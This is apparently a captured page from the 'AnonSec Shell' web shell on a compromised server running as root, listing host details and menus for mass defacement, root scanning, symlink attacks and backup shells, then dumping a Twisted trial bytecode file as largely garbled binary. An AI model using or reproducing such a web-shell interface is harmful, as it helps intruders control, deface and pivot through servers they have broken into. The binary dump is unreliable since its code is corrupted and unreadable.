AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/twisted/trial/_dist/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/twisted/trial/_dist/__pycache__/disttrial.cpython-310.pyc
o

�bn!�@s�dZddlZddlZddlmZddlmZddlmZddl	m
Z
ddlmZddl
mZmZdd	lmZdd
lmZmZddlmZddlmZGd
d�d�ZdS)z�
This module contains the trial distributed runner, the management class
responsible for coordinating all of trial's behavior at the highest level.

@since: 12.3
�N)�DeferredList��	cooperate)�FilePath)�
theSystemPath)�
_iterateTests)�_WORKER_AMP_STDIN�_WORKER_AMP_STDOUT)�DistReporter)�LocalWorker�LocalWorkerAMP)�UncleanWarningsReporterWrapper)�_unusedTestDirectoryc@sjeZdZdZeZdd�Z						dd	d
�Zdd�Zd
d�Z	dd�Z
dd�Zdedfdd�Z
dd�ZdS)�DistTrialRunneraY
    A specialized runner for distributed trial. The runner launches a number of
    local worker processes which will run tests.

    @ivar _workerNumber: the number of workers to be spawned.
    @type _workerNumber: C{int}

    @ivar _stream: stream which the reporter will use.

    @ivar _reporterFactory: the reporter class to be used.
    cCs.|j|j|j|jd�}|jrt|�}|�|�S)zL
        Make reporter factory, and wrap it with a L{DistReporter}.
        )�realtime)�_reporterFactory�_stream�	_tbformat�	_rterrors�_uncleanWarningsr
�_distReporterFactory)�self�reporter�r�?/usr/lib/python3/dist-packages/twisted/trial/_dist/disttrial.py�_makeResult*s�
zDistTrialRunner._makeResultN�defaultF�test.log�_trial_tempc

Cs`||_||_||_|durtj}||_||_||_||_d|_	|	|_
||_d|_d|_
d|_dS)NF)�
_workerNumber�_workerArgumentsr�sys�stdoutrrrr�_result�_workingDirectory�_logFile�_logFileObserver�_logFileObject�_logWarnings)
r�reporterFactory�workerNumber�workerArguments�stream�tracebackFormat�realTimeErrors�uncleanWarnings�logfile�workingDirectoryrrr�__init__5s
zDistTrialRunner.__init__cCs|��dS)z�
        Write test run final outcome to result.

        @param result: A C{TestResult} which will print errors and the summary.
        N)�done)r�resultrrr�writeResultsQszDistTrialRunner.writeResultscs��fdd�t|�D�S)aY
        Create local worker protocol instances and return them.

        @param protocols: An iterable of L{LocalWorkerAMP} instances.

        @param workingDirectory: The base path in which we should run the
            workers.
        @type workingDirectory: C{str}

        @return: A list of C{quantity} C{LocalWorker} instances.
        c	s,g|]\}}t|tj��t|���j��qSr)r�os�path�join�strr%)�.0�x�protocol�rr1rr�
<listcomp>es��z6DistTrialRunner.createLocalWorkers.<locals>.<listcomp>)�	enumerate)r�	protocolsr1rr=r�createLocalWorkersYs�z"DistTrialRunner.createLocalWorkersc	
Csvtdjj}ddddddtdtdi}tj��}tj�	t
j�|d<|D]}t
j|g}|�|�||t
j|||d�q"d	S)
a
        Spawn processes from a list of process protocols.

        @param spawner: A C{IReactorProcess.spawnProcess} implementation.

        @param protocols: An iterable of C{ProcessProtocol} instances.

        @param arguments: Extra arguments passed to the processes.
        ztwisted.trial._dist.workertrialr�w��r��TRIAL_PYTHONPATH)�args�childFDs�envN)
r�filePathr7rr	r6�environ�copy�pathsepr8r!�
executable�extend)	r�spawnerr@�	arguments�workertrialPathrHrK�workerrGrrr�launchWorkerProcessesjs
�


�z%DistTrialRunner.launchWorkerProcessescs6�fdd�����fdd��|�fdd�|D����S)a�
        Drive a L{LocalWorkerAMP} instance, iterating the tests and calling
        C{run} for every one of them.

        @param worker: The L{LocalWorkerAMP} to drive.

        @param result: The global L{DistReporter} instance.

        @param testCases: The global list of tests to iterate.

        @param cooperate: The cooperate function to use, to be customized in
            tests.
        @type cooperate: C{function}

        @return: A C{Deferred} firing when all the tests are finished.
        cs�j�||�|S�N)�original�
addFailure)�error�case)r4rr�
resultErrback�sz3DistTrialRunner._driveWorker.<locals>.resultErrbackcs��|��}|��|�|SrU)�run�
addErrback)rY�d)r4rZrSrr�task�sz*DistTrialRunner._driveWorker.<locals>.taskc3s�|]}�|�VqdSrUr)r:rY)r^rr�	<genexpr>�s�z/DistTrialRunner._driveWorker.<locals>.<genexpr>)�whenDone)rrSr4�	testCasesrr)r4rZr^rSr�_driveWorker�szDistTrialRunner._driveWorkercs@�dur
ddlm������
��}�j�d|f�|s*�
��j������St	t
�j��\}�t|�j
�}dd�t|�D�����|j�}dd�|D�����j|�j������
fdd	��g�	�����fd
d����	�fdd
�}	���	fdd�}
��fdd����}|���|�|	���dd|
�����S)a{
        Spawn local worker processes and load tests. After that, run them.

        @param suite: A tests suite to be run.

        @param reactor: The reactor to use, to be customized in tests.
        @type reactor: A provider of
            L{twisted.internet.interfaces.IReactorProcess}

        @param cooperate: The cooperate function to use, to be customized in
            tests.
        @type cooperate: C{function}

        @param untilFailure: If C{True}, continue to run the tests until they
            fail.
        @type untilFailure: C{bool}.

        @return: The test result.
        @rtype: L{DistReporter}
        Nr)�reactorzRunning %d tests.
cSsg|]}t��qSr)r)r:r;rrrr>��z'DistTrialRunner.run.<locals>.<listcomp>cSsg|]}|j�qSr)�endDeferred)r:rSrrrr>�rdc	sDttt����}g}�D]}|��j|�|�d��qt|ddd�S)NrT)�
consumeErrors�fireOnOneErrback)�iter�listr�appendrbr)ra�workerDeferredsrS)�
ampWorkersrr4r�suiterr�runTests�s��z%DistTrialRunner.run.<locals>.runTestscs.�����s	dS���sdS��}|���SrU)r5�
wasSuccessful�addCallback)�ignr])�nextRunr4rnr�untilFailurerrrr�s

z$DistTrialRunner.run.<locals>.nextRuncs&����s��d����dSdSrU)�unlockrj�stop�rq)rc�stopping�testDirLockrrru�s

�z!DistTrialRunner.run.<locals>.stopcs(�s��d�t�dd�}|���SdS)NT)rf)rjrrp)r])�continueShutdown�processEndDeferredsrwrr�beforeShutDown�s


�z+DistTrialRunner.run.<locals>.beforeShutDowncs����|SrU)r5rv)r4rrrry�s
z-DistTrialRunner.run.<locals>.continueShutdown�before�shutdown)�twisted.internetrcr�countTestCasesr�writer[rVr5rrr$�minr�rangerAr7rT�spawnProcessr rp�addBoth�addSystemEventTrigger)rrmrcrrs�count�testDirr*�workersrur{r]r)
rlryrrrrzrcr4rnrrwrmrxrsrr[�s6
	

zDistTrialRunner.runcCs|j|dd�S)z|
        Run the tests with local worker processes until they fail.

        @param suite: A tests suite to be run.
        T)rs)r[)rrmrrr�runUntilFailure�szDistTrialRunner.runUntilFailure)NrFFrr)�__name__�
__module__�__qualname__�__doc__r
rrr2r5rArTrbrr[r�rrrrrs"
�Xr)r�r6r!�twisted.internet.deferr�twisted.internet.taskr�twisted.python.filepathr�twisted.python.modulesr�twisted.trial._asyncrunnerr�twisted.trial._distrr	� twisted.trial._dist.distreporterr
�twisted.trial._dist.workerrr�twisted.trial.reporterr
�twisted.trial.utilrrrrrr�<module>s

Anon7 - 2022
AnonSec Team